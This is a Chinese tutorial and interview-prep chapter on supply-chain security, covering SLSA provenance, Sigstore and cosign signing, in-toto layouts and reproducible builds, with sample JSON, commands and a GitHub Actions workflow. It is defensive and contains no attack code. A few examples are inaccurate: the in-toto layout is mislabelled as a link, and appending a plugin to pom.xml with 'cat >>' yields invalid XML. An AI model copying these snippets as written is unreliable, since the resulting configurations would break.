SLSA v1.0 已经不再使用 L4。早期的 SLSA v0.1 草案里有 L4(要求“两方审核 + 密封构建 + 可复现构建”),但 v1.0 把它拆出去了 —— 可复现构建变成了独立的可选属性(9.3.4),不再是构建轨道的等级。

面试时如果被问到 L4,可以这样答:“v1.0 之后 L4 被移除了,可复现构建从’等级’变成了独立的加分项。所以现在说’达到 SLSA L3’就是构建轨道的最高等级。” —— 这能体现你跟进了最新版本。

★ 三个关键词必须先讲清楚(很多人听不懂 SLSA 就是因为这几个词没搞清):

① 制品(Artifact)
   构建产出的东西:一个 jar、一个 npm 包、一个 Docker 镜像、一个二进制文件。
   SLSA 保护的对象。

② Provenance(来源证明 / 出身证明)
   一份元数据,描述这个制品是【怎么被造出来的】:
     - 用了哪个代码仓库、哪个 commit
     - 用了哪个构建定义文件(如 .github/workflows/build.yml)
     - 用了什么构建命令
     - 在什么环境、什么时间构建的
     - 依赖了哪些其他制品
   ★ 类比:产品的"生产记录单"或"出生证明"。
     它不证明产品质量好,只证明"它是这么被生产出来的"。

③ Attestation(证明 / 声明)
   一段"关于某个制品的、被【签名】了的陈述"。
   Provenance 是 Attestation 的一种。
   其他类型还包括:
     - SBOM 证明:      "这个镜像的物料清单是 xxx"
     - 漏洞扫描证明:   "这个镜像在 2026-03-15 扫过,无高危漏洞"
     - 测试通过证明:   "这个包的单元测试 100% 通过"
   ★ 类比:产品的各种"检验证书"(质检报告、成分表、合格证)。
     都是对同一个产品出具的、盖章的声明。

一份真实的 SLSA Provenance 长什么样(in-toto 格式,注释版):

{
  "_type": "https://in-toto.io/Statement/v1",
  // ★ subject:这份证明【说的是哪个制品】,用哈希精确定位
  "subject": [
    {
      "name": "ghcr.io/acme/backend",
      "digest": {
        "sha256": "3f9c8b1e7a2d4f6c8b1e7a2d4f6c8b1e7a2d4f6c8b1e7a2d4f6c8b1e7a2d4f6c"
      }
    }
  ],
  // ★ predicateType:这份证明是【什么类型】的
  //   这里是 SLSA v1.0 的 provenance 格式
  "predicateType": "https://slsa.dev/provenance/v1",
  "predicate": {
    "buildDefinition": {
      "buildType": "https://github.com/actions/runner/github-hosted",

      // ★ externalParameters:构建的输入(外界传进去的东西)
      "externalParameters": {
        "workflow": {
          "ref": "refs/heads/main",
          "repository": "https://github.com/acme/backend",
          // ★ 构建定义文件的路径 —— 关键:能追溯到"用哪份 CI 配置构建的"
          "path": ".github/workflows/build.yml"
        },
        // ★ 源码的具体 commit(这是最有价值的字段之一)
        "source": {
          "repository": "https://github.com/acme/backend",
          "digest": {
            "gitCommit": "a7f3c9e2b1d4f6a8c0e2b4d6f8a0c2e4b6d8f0a2"
          }
        }
      },

      // ★ internalParameters:构建平台的内部配置(如 runner 镜像版本)
      //   防篡改:由构建平台填,构建脚本无法伪造
      "internalParameters": {
        "GITHUB_RUNNER_ARCH": "X64",
        "GITHUB_RUNNER_OS": "Linux",
        "image": "ubuntu-22.04"
      },

      // ★ resolvedDependencies:构建时用到的确切依赖
      "resolvedDependencies": [
        {
          "name": "ghcr.io/acme/base-java:21",
          "digest": { "sha256": "b1e7a2d4..." }
        }
      ]
    },
    "runDetails": {
      "builder": {
        // ★ 谁构建的 —— 构建平台的身份标识(用于验签)
        "id": "https://github.com/actions/runner/github-hosted"
      },
      "metadata": {
        "invocationId": "https://github.com/acme/backend/actions/runs/12345678901/attempts/1",
        "startedOn": "2026-03-15T02:11:03Z",
        "finishedOn": "2026-03-15T02:18:47Z"
      }
    }
  }
}

★ 读这份证明能回答的实际问题(面试时举这几个例子,特别有说服力):

问题 从哪个字段回答
这个镜像是从哪个 commit 构建出来的?有没有被人塞过东西? externalParameters.source.digest.gitCommit + 拿这个 commit 自己重新构建比对(可复现构建)
它是用哪份 CI 配置构建的?会不会有人改了 CI 偷偷加步骤? externalParameters.workflow.path
是国家队的构建机建的还是张三自己电脑上建的? runDetails.builder.id
它用的基础镜像是哪个版本?有没有已知漏洞? resolvedDependencies
构建耗时多久?有没有异常(比如突然从 7 分钟变成 40 分钟,可能在挖矿)? metadata.startedOn / finishedOn

从 L1 走到 L3 的落地路线(给面试官的“我们公司是怎么做的”):

【第 0 步】先搞清楚你现在的制品有几个、在哪、谁在构建
    → 很多公司连这一步都没做完:影子流水线(有人在本机打包上传)

【走到 L1:自动生成 provenance】
    做法:
      - 在 CI 里加一步,构建时自动生成 provenance
      - GitHub Actions 可以用 slsa-framework/slsa-github-generator
      - 或者用 cosign attest 手工生成
      - provenance 上传到制品仓库/对象存储,和制品放在一起
    成本:低(1~2 人日)
    ★ 收益:出事时能回答"哪些制品是从这个有问题的 commit 构建的"

【走到 L2:provenance 签名 + 强制走托管构建服务】
    做法:
      - 用 Sigstore/cosign 做 keyless 签名(9.3.2),不用自己管密钥
      - ★ 禁止人工在本机构建并上传制品(这是最关键的制度)
        → 制品仓库配置:只允许 CI 的服务账号写,人类账号只读
      - 部署前验证签名(K8s 准入控制)
    成本:中(1~2 人周)
    ★ 收益:防住"张三的电脑被黑了,用他的账号传了个假包"

【走到 L3:加固构建平台】
    做法:
      - 构建步骤之间隔离(每次构建用全新的 runner,不复用)
      - provenance 由构建平台的【可信组件】生成,构建脚本无法读写
      - 构建脚本拿不到签名密钥(用 OIDC 换短时效凭证)
      - ★ 构建定义文件(workflow)本身也要受保护:
        改 .github/workflows 需要 CODEOWNER review(见 9.5)
      - 开启构建日志的完整留存与防篡改
    成本:高(1~2 人月,且需要平台团队配合)
    ★ 收益:防住 SolarWinds 那种"攻陷构建机后批量投毒"

【加分项(独立于等级)】
    - 可复现构建(9.3.4)
    - SBOM + VEX(9.4)

9.3.2 Sigstore 与 cosign:把“代码签名”变成零成本

为什么需要 Sigstore —— 传统代码签名的三大痛点

传统做法(如 GPG 签名、Java 的 jarsigner、Windows 的 Authenticode):

  ① 生成密钥对
  ② 把私钥放在安全的地方
  ③ 构建时用它签名
  ④ 用户用公钥验签

听起来很简单,【实际上 90% 的公司做不好】,因为:

  痛点 A:私钥怎么存?
     放 CI 的 secret 里 → CI 管理员能看到,CI 被攻破就泄露
     放 HSM/KMS     → 要钱,要对接,构建机要有访问权限(又回到权限问题)
     放开发者本机   → 笔记本丢了就完了
     ★ 而且私钥泄露后,攻击者可以用你的身份签任何东西

  痛点 B:私钥怎么轮换?怎么吊销?
     传统 PKI 的 CRL/OCSP 机制复杂,小团队基本不做。
     私钥泄露后没有有效的"紧急刹车"手段。

  痛点 C:用户怎么知道你的公钥是什么?
     ★ 这是最致命的:用户第一次拿到你的公钥,他怎么知道这个公钥是真的?
       从你的官网下载?官网也可能被黑。
       这就是 "信任根(root of trust)分发" 问题 —— HTTPS 靠 CA 体系解决了,
       但代码签名领域长期没有对等的免费方案。

Sigstore 就是来解决这三个问题的(Linux Foundation 旗下,Google/Red Hat/普渡大学发起,2021 年):

Sigstore = 三个组件

  ① Fulcio(证书颁发机构 / CA)
     作用:把【OIDC 身份】换成【短时效的 X.509 证书】。
     ★ 关键创新:你不需要有自己的私钥。
       你用 GitHub 账号(或 Google 账号、公司的 OIDC)登录,
       Fulcio 验证你的 OIDC token 后,给你签发一张证书,
       证书里写明"这个签名者的身份是 acme/backend 仓库的 GitHub Actions 工作流"。

     证书有效期:★ 只有 10 分钟。
     → 签完就失效,攻击者就算偷到了也没用(没有私钥可偷,只有一张过期证书)

  ② Rekor(透明日志 / Transparency Log)
     作用:一个【公开的、只能追加不能修改】的日志数据库,
           记录"谁在什么时间签了什么"。
     ★ 关键创新:所有的签名行为都被公开记录,任何人可以查询。
       → 如果攻击者偷偷用你的身份签了一个恶意制品,
         你(和全世界)能在 Rekor 里看到这条记录,从而发现异常。
       → 这个设计借鉴了 Certificate Transparency(HTTPS 证书透明日志)

     技术原理:Merkle Tree(默克尔树)+ 密码学证明
       → 任何人可以验证"某条记录确实在日志里",且"日志没有被删改过"

  ③ Cosign(命令行工具)
     作用:让你用一行命令完成签名、验签、存 attestation。
     属于 Sigstore 项目的一部分,也是事实上的容器签名标准工具。

Keyless Signing 的完整流程(面试常考,要能讲出六步):

┌──────────────────────────────────────────────────────────────┐
│                    Keyless 签名六步流程                        │
└──────────────────────────────────────────────────────────────┘

  ① CI 里,构建完成,产出镜像 ghcr.io/acme/backend:v1.2.3

  ② cosign 向 CI 平台(如 GitHub Actions 的 OIDC provider)申请一个
     【OIDC 身份令牌】,令牌里包含:
       - 仓库:acme/backend
       - 工作流:.github/workflows/build.yml
       - git ref:refs/heads/main
       - commit SHA:a7f3c9e2...
       - run id:12345678901
     ★ 这个令牌是 CI 平台签发的,CI 里的构建脚本无法伪造内容

  ③ cosign 在本地生成一个【临时的密钥对】(就在内存里,用完即弃)

  ④ cosign 把【OIDC 令牌 + 临时公钥】发给 Fulcio

  ⑤ Fulcio 验证 OIDC 令牌的签名(确认确实是 GitHub 签发的),
     然后签发一张 X.509 证书:
       - 证书里写:Subject = https://github.com/acme/backend/.github/workflows/build.yml@refs/heads/main
       - 有效期:10 分钟
     ★ 同时,Fulcio 会把这次签发记录【写入 Rekor 透明日志】

  ⑥ cosign 用【临时私钥 + Fulcio 证书】给镜像签名,
     然后把签名和证书一起存到镜像仓库(OCI registry)里。
     ★ 临时私钥【立即丢弃】—— 它只存在了几秒钟,从来没有被存储过。

  验签时:cosign verify 会做三件事
     a. 用 Fulcio 的根证书验证签名的证书链
     b. 检查证书里的身份(如"必须是 acme/backend 仓库的 build.yml 工作流")
     c. ★ 去 Rekor 查这个签名有没有被记录(防止签名被悄悄替换)

┌──────────────────────────────────────────────────────────────┐
│ ★ 精妙之处:整个过程中【没有任何需要长期保管的私钥】           │
│   攻击者要伪造签名,必须:                                     │
│     ① 攻破 GitHub 的 OIDC 签发(不可能)                      │
│     ② 或攻破 Fulcio(需要同时攻破它的密钥和 Rekor)            │
│     ③ 或攻破 CI 本身(这又回到 SLSA L3 要解决的问题)          │
│   而且就算是 ③,也会在 Rekor 里留下公开可查的记录。            │
└──────────────────────────────────────────────────────────────┘

实操:cosign 从签名到验证

# ============================================================
# 安装
# ============================================================
# macOS
brew install cosign
# Linux
curl -LO https://github.com/sigstore/cosign/releases/latest/download/cosign-linux-amd64
chmod +x cosign-linux-amd64 && sudo mv cosign-linux-amd64 /usr/local/bin/cosign
# 验证
cosign version

# ============================================================
# 场景一:给镜像签名(keyless,本地交互式)
# ============================================================
# 先登录镜像仓库
docker login ghcr.io

# 签名(--yes 表示跳过确认)
COSIGN_EXPERIMENTAL=1 cosign sign --yes ghcr.io/acme/backend:v1.2.3
# ★ 执行时会打开浏览器,让你用 GitHub/Google/Microsoft 账号登录
#    (这就是 OIDC 那一步,人肉完成了一次"身份证明")

# 输出类似:
#   Generating ephemeral keys...
#   Retrieving signed certificate...
#   Successfully verified SCT...
#   tlog entry created with index: 88284756
#   Pushing signature to: ghcr.io/acme/backend

# ============================================================
# 场景二:验签(★ 部署前必做)
# ============================================================
cosign verify \
  --certificate-identity-regexp 'https://github\.com/acme/.*' \
  --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
  ghcr.io/acme/backend:v1.2.3

# 输出(验证通过):
#   Verification for ghcr.io/acme/backend:v1.2.3 --
#   The following checks were performed:
#     - Existence of the claims in the transparency log was verified offline
#     - The code-signing certificate was verified using trusted certificate authority certificates
#   [{"critical":{"identity":{"docker-reference":"ghcr.io/acme/backend"},...

# ★ 两个参数的含义(非常重要,很多人只写 cosign verify 是不够的):
#   --certificate-identity-regexp:
#     要求签名的身份【必须匹配这个模式】
#     → 必须写!不写的话,任何人用任何 GitHub 账号签的镜像都能通过验证
#     → 这就等于没验
#   --certificate-oidc-issuer:
#     要求 OIDC 的签发方必须是 GitHub Actions
#     → 防止攻击者用别的 OIDC  provider 伪造身份

# ============================================================
# 场景三:Attestation(给镜像附加 SBOM / 漏洞扫描等声明)
# ============================================================
# 先生成 SBOM(syft,见 9.4.2)
syft ghcr.io/acme/backend:v1.2.3 -o spdx-json > sbom.spdx.json

# 把 SBOM 作为 attestation 附到镜像上,并签名
cosign attest --yes \
  --predicate sbom.spdx.json \
  --type spdx \
  ghcr.io/acme/backend:v1.2.3

# 验证并取出 attestation
cosign verify-attestation \
  --certificate-identity-regexp 'https://github\.com/acme/.*' \
  --certificate-oidc-issuer 'https://token.actions.githubusercontent.com' \
  --type spdx \
  ghcr.io/acme/backend:v1.2.3 | jq -r '.payload' | base64 -d | jq '.'

# ============================================================
# 场景四:★ 最实用 —— 给 SLSA provenance 签名
# ============================================================
# 在 GitHub Actions 里生成 provenance(见下方 workflow 示例)
# 然后手工生成并附加 provenance:
cosign attest --yes \
  --predicate slsa-provenance.json \
  --type slsaprovenance \
  ghcr.io/acme/backend:v1.2.3

# ============================================================
# 场景五:给自己管理密钥的方式签名(不用 keyless)
#   (适合离线环境、或需要用 KMS 的场景)
# ============================================================
# 生成密钥对(会让你设一个密码,私钥被加密存储)
cosign generate-key-pair
# 产出:cosign.key(私钥,加密)、cosign.pub(公钥)

# 用私钥签名
cosign sign --key cosign.key ghcr.io/acme/backend:v1.2.3

# 用公钥验签
cosign verify --key cosign.pub ghcr.io/acme/backend:v1.2.3

# ★ 用云 KMS(推荐给企业,私钥不出 KMS)
cosign generate-key-pair --kms awskms:///alias/acme-signing-key
cosign sign --kms awskms:///alias/acme-signing-key ghcr.io/acme/backend:v1.2.3
cosign verify --kms awskms:///alias/acme-signing-key ghcr.io/acme/backend:v1.2.3

GitHub Actions 集成(完整可用的 workflow):

# .github/workflows/build-and-sign.yml
# ★ 一个达到 SLSA L2 的构建流水线示例
name: Build, Sign and Attest

on:
  push:
    tags: ['v*']
  workflow_dispatch:

permissions:
  contents: read

jobs:
  build:
    runs-on: ubuntu-latest

    # ★★ 关键 1:必须声明 id-token: write
    #    这是 GitHub Actions 的 OIDC 权限,没有它 cosign 拿不到身份令牌
    permissions:
      contents: read
      id-token: write      # ← ★ 没有这行,keyless 签名会失败
      packages: write      # ← 推送镜像到 ghcr.io 需要

    outputs:
      image: ${{ steps.meta.outputs.tags }}
      digest: ${{ steps.build.outputs.digest }}

    steps:
      - name: Checkout
        uses: actions/checkout@v4
        with:
          fetch-depth: 0        # ★ 要拿完整的 git 历史(provenance 需要)

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v3

      - name: Login to GHCR
        uses: docker/login-action@v3
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
          # ★ 用内置的 GITHUB_TOKEN,不用长期 PAT

      - name: Extract metadata
        id: meta
        uses: docker/metadata-action@v5
        with:
          images: ghcr.io/${{ github.repository }}

      - name: Build and push
        id: build
        uses: docker/build-push-action@v5
        with:
          context: .
          push: true
          tags: ${{ steps.meta.outputs.tags }}
          # ★ 关键 2:开启 SBOM 和 Provenance 自动生成
          #   build-push-action 内置了 SLSA provenance 生成
          provenance: true
          sbom: true
          # ★ 关键 3:用 digest 输出,后续签名和部署都用 digest
          #   不能用 tag,因为 tag 可变

      # ==========================================
      # 签名
      # ==========================================
      - name: Install cosign
        uses: sigstore/cosign-installer@v3

      - name: Sign the image
        # ★ 注意:这里签的是 digest,不是 tag
        run: |
          cosign sign --yes \
            "${REGISTRY}/${IMAGE}@${DIGEST}"
        env:
          REGISTRY: ghcr.io
          IMAGE: ${{ github.repository }}
          DIGEST: ${{ steps.build.outputs.digest }}
        # ★ cosign 会自动检测 GitHub Actions 环境,
        #   自动使用 OIDC token 做 keyless 签名,无需任何配置

      # ==========================================
      # 生成并附加 SBOM
      # ==========================================
      - name: Generate SBOM
        uses: anchore/sbom-action@v0
        with:
          image: ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}
          format: spdx-json
          output-file: sbom.spdx.json

      - name: Attest SBOM
        run: |
          cosign attest --yes \
            --predicate sbom.spdx.json \
            --type spdx \
            "${REGISTRY}/${IMAGE}@${DIGEST}"
        env:
          REGISTRY: ghcr.io
          IMAGE: ${{ github.repository }}
          DIGEST: ${{ steps.build.outputs.digest }}

      # ==========================================
      # 上传 SBOM 作为构建产物(方便审计下载)
      # ==========================================
      - name: Upload SBOM
        uses: actions/upload-artifact@v4
        with:
          name: sbom
          path: sbom.spdx.json

      # ==========================================
      # ★ 关键 4:验证自己签的名(防止签名步骤静默失败)
      # ==========================================
      - name: Verify signature
        run: |
          cosign verify \
            --certificate-identity-regexp "https://github\.com/${GITHUB_REPOSITORY}/\.github/workflows/.*" \
            --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
            "${REGISTRY}/${IMAGE}@${DIGEST}"
        env:
          GITHUB_REPOSITORY: ${{ github.repository }}
          REGISTRY: ghcr.io
          IMAGE: ${{ github.repository }}
          DIGEST: ${{ steps.build.outputs.digest }}

  # ================================================
  # ★ 关键 5:用独立的 job 生成 SLSA provenance
  #   (分开 job 是为了让 provenance 的生成不受构建脚本影响,
  #     这是 SLSA L3 的要求之一)
  # ================================================
  provenance:
    needs: [build]
    runs-on: ubuntu-latest
    permissions:
      actions: read
      id-token: write
      contents: write
    steps:
      - name: Generate SLSA provenance
        uses: slsa-framework/slsa-github-generator/.github/actions/generate-builder@v2
        with:
          image: ghcr.io/${{ github.repository }}
          digest: ${{ needs.build.outputs.digest }}

★ 诚实说明:Sigstore / cosign 防不住什么

这是面试时体现深度的地方 —— 只说优点不说局限,会被认为没真正用过。

局限一:它不验证"代码是好的",只验证"是你构建的"
   如果你自己的开发者提交了后门代码,走正常流水线构建,
   签名一样是有效的、provenance 一样是完整的。
   → 签名解决的是【篡改】,不是【内鬼】。
   → 内鬼要靠 code review、CODEOWNERS、双人复核来解决(9.5)。

局限二:验签必须带 identity 约束,否则形同虚设
   cosign verify <image> 不带 --certificate-identity 参数时,
   【任何人的签名都能通过】。
   ★ 这是非常多团队的真实配置错误 —— 他们以为加了签名就安全了,
     实际上只验证了"这个镜像被【某个】GitHub 用户签过"。

局限三:Rekor 是公共服务,有可用性依赖
   验签默认会去 Rekor 查透明日志(在线验证)。
   如果 Rekor 挂了,你的部署会失败(除非配置离线模式)。
   企业可以自建 Rekor 实例(但复杂度不低)。

局限四:不能防止"签名之后、部署之前"的替换
   如果你签的是 tag(v1.2.3),而 tag 被重新 push 指向了另一个镜像,
   那么签名和镜像的绑定就断了。
   → ★ 必须签 digest,且部署也必须用 digest(9.2.5 已经讲过)。

局限五:Fulcio 证书的 10 分钟有效期带来一个运维问题
   如果你是"构建一次、分发到多个隔离环境"的场景(如离线交付给客户),
   客户那边验签时证书已过期 —— 但这是【正常的】,
   cosign 验签时会用 Rekor 里的记录来确认"签名发生在有效期内"。
   → 所以 Rekor 是必须的,不是可选的。

局限六:证明不了"构建环境是干净的"
   签名只能说"GitHub Actions 构建了这个镜像"。
   如果 GitHub Actions 的 runner 被攻破(或用了被投毒的 Action),
   签名依然有效。
   → 这就是 SLSA L3 和可复现构建要解决的问题。

9.3.3 in-toto:把构建过程拆成“每一步都要签字”

定义:in-toto 是一个框架,用来保证软件供应链中每个步骤都被正确执行、且不可被跳过或调换。

如果说 SLSA Provenance 是“成品的生产记录单”,那 in-toto 就是**“生产线上每个工位的操作规范 + 签字表”**。

SLSA Provenance 回答:  "这个制品是怎么被造出来的"(事后记录)
in-toto 回答:          "每一步【必须】按这个顺序被执行,且每一步都有人签字"(事前约定 + 事中校验)

★ 为什么需要 in-toto?
   考虑一个场景:
     你的构建流程应该是:  检出代码 → 编译 → 单元测试 → 安全扫描 → 打包
     攻击者改了 CI 配置,变成:检出代码 → 编译 → 打包(跳过了测试和扫描)

   SLSA provenance 会如实记录"只跑了这三步"——
   但它【不会告诉你"这样不对"】。

   in-toto 会:定义好"必须有这 5 步",少了任何一步就验证失败。

in-toto 的三个核心概念:

① Step(步骤)
   供应链中的一个环节,如:clone、build、test、scan、package、sign
   每个 step 会声明:
     - 输入是什么(materials)
     - 输出是什么(products)
     - 谁有资格执行这一步(functionaries / 授权人)

② Layout(布局 / 总规范)
   一份【被项目所有者签名】的 JSON 文件,定义:
     - 整个流程有哪些 step
     - 每个 step 的 expected_command(预期执行的命令)
     - 每个 step 必须由谁的密钥签名(keyid)
     - step 之间的物料流转规则(前一个 step 的产物 == 后一个 step 的输入)
     ★ 类比:生产流程图 + 工位签字表,由厂长签字盖章

③ Link(每一步的执行记录)
   每个 step 执行完后生成的元数据,记录了:
     - 实际执行的命令
     - 实际的输入/输出及其哈希
     - 执行者签名
   ★ 类比:工位工人填的"操作记录 + 签名"

一份 in-toto layout 示例(简化版):

{
  "_type": "link",
  "name": "unsigned-layout-root",
  "signed": {
    "_type": "layout",
    "expires": "2027-01-01T00:00:00Z",
    "readme": "Acme 后端服务的供应链布局",

    // ★ 定义授权人(谁有资格给哪个 step 签字)
    "keys": {
      "a1b2c3d4": {
        "keyid": "a1b2c3d4",
        "keytype": "ed25519",
        "keyval": { "public": "3f9c8b1e7a2d..." },
        "scheme": "ed25519"
      },
      "e5f6a7b8": {
        "keyid": "e5f6a7b8",
        "keytype": "ed25519",
        "keyval": { "public": "7a2d4f6c8b1e..." },
        "scheme": "ed25519"
      }
    },

    // ★ 定义步骤(有顺序要求:后面的 step 消费前面的产出)
    "steps": [
      {
        "name": "clone",
        "expected_materials": [],
        "expected_products": [["CREATE", "src/*"]],
        "expected_command": ["git", "clone"],
        "pubkeys": ["a1b2c3d4"],           // ← 只有 CI 机器人能签这一步
        "threshold": 1
      },
      {
        "name": "build",
        "expected_materials": [["MATCH", "src/*", "WITH", "PRODUCTS", "FROM", "clone"]],
        //                        ↑ 要求 build 的输入必须【和 clone 的输出逐字节一致】
        //                          → 防止有人在 clone 和 build 之间偷偷改代码
        "expected_products": [["CREATE", "target/app.jar"]],
        "expected_command": ["mvn", "clean", "package"],
        "pubkeys": ["e5f6a7b8"],
        "threshold": 1
      },
      {
        "name": "test",
        "expected_materials": [["MATCH", "target/app.jar", "WITH", "PRODUCTS", "FROM", "build"]],
        "expected_products": [["CREATE", "target/surefire-reports/*"]],
        "expected_command": ["mvn", "test"],
        "pubkeys": ["e5f6a7b8"],
        "threshold": 1
      },
      {
        "name": "scan",
        "expected_materials": [["MATCH", "target/app.jar", "WITH", "PRODUCTS", "FROM", "build"]],
        "expected_products": [["CREATE", "reports/vuln.json"]],
        "expected_command": ["trivy", "fs"],
        "pubkeys": ["e5f6a7b8"],
        "threshold": 1
      },
      {
        "name": "package",
        "expected_materials": [
          ["MATCH", "target/app.jar", "WITH", "PRODUCTS", "FROM", "build"],
          // ★ 关键:要求 package 这一步【必须】依赖 test 和 scan 的产物
          //   → 如果有人跳过 test 直接 package,这里就会不匹配,验证失败
          ["MATCH", "target/surefire-reports/*", "WITH", "PRODUCTS", "FROM", "test"],
          ["MATCH", "reports/vuln.json", "WITH", "PRODUCTS", "FROM", "scan"]
        ],
        "expected_products": [["CREATE", "dist/app.tar.gz"]],
        "expected_command": ["tar", "czf"],
        "pubkeys": ["a1b2c3d4"],
        "threshold": 1
      }
    ],

    // ★ inspections:最终验证时额外执行的检查(在【用户侧】运行,不是构建侧)
    "inspect": [
      {
        "name": "verify-signature",
        "expected_materials": [["MATCH", "dist/app.tar.gz", "WITH", "PRODUCTS", "FROM", "package"]],
        "expected_products": [],
        "run": ["cosign", "verify", "dist/app.tar.gz"]
        // ★ 用户在自己机器上跑这一步,验证签名
      }
    ]
  },
  // ★ layout 本身被项目所有者签名(密钥离线保管)
  "signatures": [
    {
      "keyid": "a1b2c3d4",
      "sig": "9f8e7d6c..."
    }
  ]
}

实操命令:

# 安装
pip install in-toto

# === 构建侧:为每一步生成 link(执行记录) ===
# clone 步骤
in-toto-run --step-name clone \
            --key ci-bot-key \
            --materials . \
            --products src/ \
            -- git clone https://github.com/acme/backend src/

# build 步骤
in-toto-run --step-name build \
            --key builder-key \
            --materials src/ \
            --products target/app.jar \
            -- mvn clean package -DskipTests

# test 步骤
in-toto-run --step-name test \
            --key builder-key \
            --materials target/app.jar \
            --products target/surefire-reports/ \
            -- mvn test

# package 步骤
in-toto-run --step-name package \
            --key ci-bot-key \
            --materials target/app.jar target/surefire-reports/ \
            --products dist/app.tar.gz \
            -- tar czf dist/app.tar.gz target/app.jar

# === 用户侧:验证整条链 ===
in-toto-verify --layout root.layout \
               --layout-key owner.pub \
               --verbose
# ★ 验证内容:
#   ① layout 本身的签名是否有效
#   ② layout 是否过期
#   ③ 每个 step 的 link 是否存在、签名是否有效、签名者是否被授权
#   ④ 每个 step 的实际命令是否匹配 expected_command
#   ⑤ 每个 step 的输入输出哈希是否匹配 expected_materials/products
#   ⑥ step 之间的物料流转是否符合约定(防止跳过某步)
#   ⑦ inspections 是否执行成功

★ in-toto 的实际落地情况(诚实说明):

in-toto 概念非常优雅,但在工程实践中【采用率远低于 cosign】。原因是:

  ① 配置复杂:一个中等项目的 layout 有几百行 JSON,维护成本高
  ② 与 CI 系统集成麻烦:需要改造流水线,每一步都要包一层 in-toto-run
  ③ 密钥管理又回来了:每个 functionary 要有自己的长期密钥
  ④ 失败排查困难:一个 material 不匹配就要查半天

★ 所以现实中的普遍做法是【分层采用】:
  - 大部分公司:只做到 cosign 签名 + SLSA provenance(够用了)
  - 高合规要求(金融、军工、美国 FedRAMP):用 in-toto
  - 实践中更常见的是用 in-toto 的【数据格式】而不是它的【工具链】
    → 也就是说:SLSA provenance 用的就是 in-toto 的 Statement 格式(你 9.3.1 看到的那个 JSON)
      但生成和验证是用 slsa-github-generator / cosign 做的

  ★ 面试话术:
    "in-toto 是一套框架,定义了供应链每一步该如何签字验证。
     它最有价值的贡献其实是它的【数据格式】——
     SLSA provenance 就是用的 in-toto Statement 格式。
     但 in-toto 的完整工具链因为配置复杂,实际采用率不高,
     大部分公司做到 cosign 签名 + SLSA provenance 就够了。"

9.3.4 可复现构建(Reproducible Builds):终极武器

定义:同样的源代码 + 同样的构建环境 + 同样的构建命令,任何人在任何时间构建,产出的二进制文件逐字节完全相同。

为什么它是“终极武器” —— 回到 xz-utils 事件:

xz 后门(9.1.3)最可怕的地方:
  后门代码【不在 git 仓库里】,只在官方发布的 .tar.gz 里。

  所以:
    ✗ 代码审查没用 —— 你看的源码是干净的
    ✗ 签名也没用 —— 发布包是维护者用合法密钥签的
    ✗ 连 provenance 都不够 —— 它只能说"这是从 tarball 构建的",
                              但 tarball 本身就有问题

  ★ 唯一能发现它的方法:
     我拿 git 仓库的源码,自己按官方的构建流程编一遍,
     然后和官方发布的 .tar.gz 里的二进制【逐字节比对】。

     如果对得上 → 说明发布包确实是源码构建的(可信)
     如果对不上 → ★ 说明发布包里有源码之外的东西(有问题!)

  这就是可复现构建的价值:
    它把"你信任我的二进制"变成"你可以自己验证这个二进制"。

生活类比:

不可复现构建(现在的常态):
  你去餐厅点了一份宫保鸡丁,端上来你吃了。
  你问厨师:"这是不是按菜谱做的?有没有加别的?"
  厨师说:"信我,是按菜谱做的。"
  → 你只能信他。(这就是现在的软件分发)

可复现构建:
  餐厅把菜谱完全公开,包括每种调料的精确克数、火候、顺序。
  你在家按菜谱做一份,
  然后和你从餐厅买的那份【用天平逐克比对、用色谱仪分析成分】。
  如果完全一致 → 确认餐厅没加别的东西。
  → 不依赖信任,依赖验证。

为什么现在大多数构建不可复现?(六大干扰因素)

干扰因素 具体表现 解决办法
① 时间戳 编译器把“构建时间”写进了二进制(如 jar 里的 META-INF、Go 的 buildinfo) ★ SOURCE_DATE_EPOCH 环境变量(见下)
② 文件路径 编译器记录了源文件的绝对路径(/home/zhangsan/project/...),换台机器路径就不同 Go: -trimpath;GCC: -ffile-prefix-map;构建时用固定路径(如 /build)
③ 文件顺序 打包工具按“目录遍历顺序”打包,不同文件系统顺序不同 排序后打包;tar 用 --sort=name --mtime=@0 --owner=0 --group=0 --numeric-owner
④ 依赖版本 构建时拉的是 latest,两次构建依赖不同 ★ lockfile 锁死(9.2.5)
⑤ 构建工具版本 不同版本的 JDK/Go/Node 产出的二进制不同 ★ 用容器固定构建环境(Dockerfile 里写死 FROM golang:1.22.5)
⑥ 随机数 / 并行 构建里用了随机数(如生成 UUID);并行编译的输出顺序不稳定 去掉随机性;-p 1 串行编译

实操:让构建可复现

# ============================================================
# 通用:SOURCE_DATE_EPOCH
# ============================================================
# 这是一个事实标准(由 reproducible-builds.org 提出):
# 很多构建工具会读取这个环境变量,用它代替"当前时间"
#
# 通常设为【最后一次 git commit 的时间】,这样源码相同 → 时间一定相同
export SOURCE_DATE_EPOCH=$(git log -1 --pretty=%ct)
echo $SOURCE_DATE_EPOCH   # 例如:1773540663

# ============================================================
# Go(★ 最容易做到可复现的语言之一)
# ============================================================
CGO_ENABLED=0 \
GOFLAGS="-trimpath -buildvcs=false" \
GOPROXY=https://proxy.golang.org \
go build -ldflags="-s -w -buildid=" -o app .
#   -trimpath      ★ 去掉源码的绝对路径
#   -buildvcs=false 不把 git 信息写进二进制(因为 git 目录可能不同)
#   -buildid=      ★ 清空 build id(它包含路径和时间的哈希)
#   -s -w          去掉符号表和调试信息(减小体积,也有助可复现)
#
# 验证:构建两次,比对哈希
go build -o app1 . && go build -o app2 . && sha256sum app1 app2
# 输出两个相同的哈希 = 可复现 ✓

# ============================================================
# Java / Maven
# ============================================================
# 用 reproducible-build-maven-plugin
cat >> pom.xml <<'EOF'
<plugin>
  <groupId>io.github.zlika</groupId>
  <artifactId>reproducible-build-maven-plugin</artifactId>
  <version>0.16</version>
  <executions>
    <execution>
      <id>strip-jar</id>
      <goals><goal>strip-jar</goal></goals>
    </execution>
  </executions>
</plugin>
EOF
# ★ 这个插件做的事:
#   ① 去掉 jar 里文件的时间戳
#   ② 规范 MANIFEST.MF 里条目的顺序
#   ③ 去掉不必要的文件(如 maven-archiver 的 pom.properties)
#   ④ 规范文件权限位

# 另外,Maven 构建本身要在同一个 JDK 版本下
# ★ 用容器固定:
